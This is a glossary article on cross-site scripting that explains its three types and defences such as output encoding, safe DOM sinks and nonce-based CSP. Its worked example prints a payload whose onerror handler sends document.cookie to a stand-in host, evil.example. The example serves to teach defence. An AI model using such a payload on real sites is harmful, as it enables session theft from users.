{"canonical_url":"https://engineer.company/glossary/cross-site-scripting/","content_markdown":"# Cross-site scripting\n\n## What it is\n\nCross-site scripting, almost always shortened to XSS, is the attack in which a\nwebsite takes text that came from someone else, puts it into a page it serves\nto other people, and fails to neutralise it on the way, so that the browser\nreads part of that text as code and runs it. The Common Weakness Enumeration\nlists it as CWE-79, under a title that says much the same thing: input left\nunneutralised while a web page is being generated. The attacker never changes\nthe site's code. They supply data, and the site itself delivers the script to\nits own users, inside its own pages.\n\nThere are three routes in, and both the CWE entry and OWASP describe them. In\nreflected XSS, also called non-persistent or Type 1, the payload travels in the\nrequest, usually as a URL parameter, and the server copies it into the\nresponse: a search results page, an error message, anything that repeats what\nit was sent. The victim has to be lured into opening a crafted link, which is\nwhy the CWE entry places these links at the core of many phishing schemes. In\nstored XSS, also called persistent or Type 2, the payload is saved first, in a\ncomment, a forum post, a profile field or a log message, and it runs for\neveryone who later views that record. In DOM-based XSS, Type 0, the server may\nnever see the payload at all. The page's own JavaScript reads something the\nattacker controls, such as the part of the URL after the `#`, and writes it\ninto the document in a way that makes the browser parse it as markup.\n\nThe name fits the modern problem badly, and OWASP says so: its prevention cheat\nsheet calls the term a misnomer. It came from early attacks that stole data\nacross sites, and it has since widened to cover the injection of almost any\ncontent into a page, whether or not a second site is involved. Even the\nabbreviation has a history. The CWE entry recalls that the obvious three-letter\nacronym was common in the early years, until the clash with Cascading Style\nSheets made it fall out of use.\n\nOWASP classes XSS as a type of injection, in the family of SQL injection. In\nboth, data crosses a boundary into a place where it is read as instructions:\nthere the SQL a database runs, here the markup, attribute values and JavaScript\nof a page. The cure has the same shape in both cases. Keep data as data at the\nmoment it is placed, and the interpreter has nothing of the attacker's to run.\n\n## Why it matters\n\nThe script runs as the site's own. The browser keeps no record of where the\ntext came from; it sees a page served by the site, from the site's origin, and\ngives the script everything that origin is allowed. OWASP puts the problem in\none line: the browser \"has no way to know that the script should not be\ntrusted\". The CWE entry draws the consequence. The attack defeats the intention\nof the same-origin policy, which exists to stop script from one site reaching\ninto another.\n\nWhat that script can do is whatever the user could. CWE-79 names the theft of\nprivate information in cookies, such as session data, as the most common\nattack, and warns that it is especially dangerous when the victim has\nadministrator privileges on the site. OWASP's list is longer: impersonating the\naccount, watching what the user does, loading content from elsewhere, stealing\nsensitive data and rewriting the page itself. Stored XSS in a log message is a\nclassic route to exactly those victims. The CWE entry uses it as its example,\nbecause the people who read logs tend to be administrators, and a log viewer\nmay not handle hostile input properly.\n\nIt matters to every web team, not only to those who still write markup by\nhand. Modern frameworks have made XSS rarer: OWASP credits their templating and\nauto-escaping with fewer bugs. Every framework still has escape hatches for the\ncases where a developer wants to insert markup directly, and OWASP lists those\nas the places where problems still occur. The same cheat sheet is clear that no\nsingle technique solves XSS and that a combination is needed. That is the frame\nfor the rest of this article: encode for the right context first, and put the\nother layers behind it.\n\n## What it looks like in practice\n\nTake a shop whose search page repeats the search term back, so that\n`https://shop.example/search?q=lamp` shows `Results: lamp`. The server builds\nthat line by pasting the parameter into its page template. An attacker sends a\nvictim a link whose `q` is this:\n\n```html\n\u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\n```\n\nThe server pastes it in as before, and the victim's browser receives:\n\n```html\n\u003cp\u003eResults: \u003cimg src=x onerror=\"fetch('//evil.example/'+document.cookie)\"\u003e\u003c/p\u003e\n```\n\nThe image fails to load, because `x` is not an image, and the browser runs the\n`onerror` handler, which sends the user's cookies to the attacker's server. The\ncode sits in an attribute, not in a `\u003cscript\u003e` element, and that is typical:\nOWASP's own example payload uses an image's `onerror` attribute the same way.\n\nThe fix is to encode the value for the place it lands. In HTML body text, that\nmeans turning the five characters `\u0026`, `\u003c`, `\u003e`, `\"` and `'` into `\u0026amp;`,\n`\u0026lt;`, `\u0026gt;`, `\u0026quot;` and `\u0026#x27;`. The same payload then arrives as\n`\u0026lt;img src=x onerror=\u0026quot;...\u0026quot;\u0026gt;`, which the browser shows as text\nand never parses as a tag. Frameworks that auto-escape do this for you; the\nhole opens wherever a string is built by hand instead.\n\nIn the DOM-based version, the server only sends a static page, and the page's\nown script reads `q` and writes it into the heading:\n\n```js\nconst heading = document.querySelector(\"h1\");\nconst q = new URLSearchParams(location.search).get(\"q\");\nheading.innerHTML = `Results for ${q}`; // parses q as HTML\nheading.textContent = `Results for ${q}`; // shows q as text\n```\n\nThe `innerHTML` line hands the attacker's markup to the HTML parser, and the\n`onerror` handler fires just as before. The HTML standard notes that a\n`\u003cscript\u003e` element inserted this way does not execute at all, which is why\npayloads lean on event-handler attributes instead. The `textContent` line\ncreates a text node and parses nothing, so the same value is shown as harmless\ncharacters. OWASP's DOM XSS cheat sheet calls choosing a safe sink like this\nthe best fix, and its general cheat sheet tells developers to refactor away\nfrom `innerHTML` towards `textContent`.\n\nBehind the encoding sits a second layer. A Content Security Policy that lists a\nnonce tells the browser to run only the scripts that carry it. The current W3C\ndraft asks the server to generate a fresh nonce every time it sends a policy, at\nleast 128 bits from a cryptographically secure random number generator. An\ninjected `\u003cscript\u003e` has no nonce, and an inline handler like the `onerror` above\nis refused too, because only `'unsafe-inline'` or `'unsafe-hashes'` can allow\nhandlers, and a nonce switches `'unsafe-inline'` off. The draft names\n`script-src 'strict-dynamic' 'nonce-{RANDOM}'` together with `base-uri 'self'`\nas a defence against XSS that both works and can be deployed in practice. On\nChromium-based browsers, `require-trusted-types-for 'script'` goes further and\nmakes sinks such as `innerHTML` reject plain strings. OWASP still warns that a\npolicy is easy to get wrong, and keeps it as an extra layer rather than the\nprimary defence.\n\nOn a platform holding professional and organisational data, the Next.js\nmiddleware\n[sets such a policy with a per-request nonce and strict-dynamic](/portfolio/hardened-the-application-with-nonce-based-csp/)\nalongside HSTS and SameSite cookies, so that the browser is locked down about\nwhat it will run and send. The same page describes layered protections to avoid relying on a single control.\nServer-side authorization is designed to operate independently of client-side\nchecks, so the interface is not the authority for access decisions.\n\n## Where it goes wrong\n\n**Encoding for the wrong context.** HTML entity encoding is right for text\nbetween tags and not enough elsewhere. OWASP gives each context its own rule: a\nvalue inside a URL parameter is percent-encoded in the `%HH` form, and a value\ninside an attribute is encoded for attributes and quoted. Encoding also only\nprotects the place a string is put, not what happens to it later; a value\npassed on to `eval()` is unsafe whatever was done to it. Know where each value\nlands and use the framework's encoder for that place.\n\n**Unquoted attributes.** Whitespace ends an unquoted attribute value, so an\nattacker who can add a space can add an attribute of their own, and\n`onmouseover=` is all it takes. Always put attribute values in quotation marks\nand use the framework's attribute encoder.\n\n**User data inside an event-handler attribute.** Attribute encoding does not\nprotect JavaScript in `onclick` or its relatives, because character references\nare decoded by the HTML parser before the script ever runs. Attach handlers with\n`addEventListener()` and pass the user's value as data.\n\n**A framework's escape hatch fed with raw input.** React's\n`dangerouslySetInnerHTML`, Angular's `bypassSecurityTrustAs*` functions and\nLit's `unsafeHTML` all switch auto-escaping off. When users genuinely need to\nauthor markup, run it through a sanitiser such as DOMPurify, which OWASP\nrecommends, do not modify the result afterwards, and keep the library patched,\nbecause new bypasses keep being found.\n\n**A `javascript:` URL in a link.** A profile's website field that holds\n`javascript:` followed by code turns a harmless-looking link into a script.\nReact 19 blocks such URLs in `src` and `href`, but OWASP says that does not\nreplace the application's own URL validation. Allow the schemes the field\nreally needs, such as `https:`, and reject everything else.\n\n**Input validation or a WAF treated as the fix.** Validation helps, but it\ncannot remove every dangerous character from free text. The CWE entry's\nexample is the heart emoticon `\u003c3`, which a chat application's validation would\nlikely let through and which still contains `\u003c`. A web application firewall\nmatches known attack strings, misses new bypasses, and never sees DOM-based XSS\nthat happens entirely in the browser; OWASP does not recommend one for\npreventing XSS. Encode the output, and treat both as extra layers.\n\n**HttpOnly treated as a cure.** Marking the session cookie HttpOnly stops\n`document.cookie` from reading it, which blunts the most common payload. The\nscript still runs, though, and can act as the user from inside the page. The\nCWE entry calls HttpOnly not a complete solution, and OWASP says cookie\nattributes limit the impact without preventing the execution. Set it, and fix\nthe injection.\n\n**JSON served as HTML.** An endpoint that returns user data with\n`Content-Type: text/html` invites the browser to parse it as a page. OWASP's\nrule is to check that JSON goes out as `application/json`. Set the header\nexplicitly on every such response.\n\n**The policy treated as the primary defence.** A nonce reused across responses,\na missing `base-uri`, or an `'unsafe-inline'` added to make one widget work can\neach quietly undo a policy. Encode first, and let the policy catch what slips\nthrough.\n\n## Further reading\n\n- [CWE-79 in the Common Weakness Enumeration](https://cwe.mitre.org/data/definitions/79.html)\n  — the weakness entry: the three types, the consequences, and the\n  mitigations with their limits.\n- [OWASP Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n  — encoding per context, framework escape hatches, sanitising and the\n  layers behind them.\n- [OWASP DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n  — safe and unsafe sinks in the browser, with worked examples.\n- [OWASP: Cross Site Scripting (XSS)](https://community.owasp.org/attacks/xss/)\n  — the attack described from the attacker's side, with example payloads.\n- [HTML Standard: Scripting](https://html.spec.whatwg.org/multipage/scripting.html)\n  — how and when the `script` element runs, including inserted markup.\n- [Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) — nonces,\n  `'strict-dynamic'` and the strict policy the draft recommends.\n\n\u003chttps://engineer.company/glossary/cross-site-scripting/\u003e\n","date_modified":"2026-11-12T05:34:23Z","description":"How cross-site scripting gets a browser to run an attacker's script as the site's own, the three kinds, and the encoding habits that stop it.","formats":{"gemtext":"https://engineer.company/glossary/cross-site-scripting/index.gmi","gopher":"https://engineer.company/glossary/cross-site-scripting/gophermap","html":"https://engineer.company/glossary/cross-site-scripting/","json":"https://engineer.company/glossary/cross-site-scripting/index.json","markdown":"https://engineer.company/glossary/cross-site-scripting/index.md","pdf":"https://engineer.company/glossary/cross-site-scripting/index.pdf"},"kind":"page","language":"en","title":"What is cross-site scripting?","url":"https://engineer.company/glossary/cross-site-scripting/","version":1}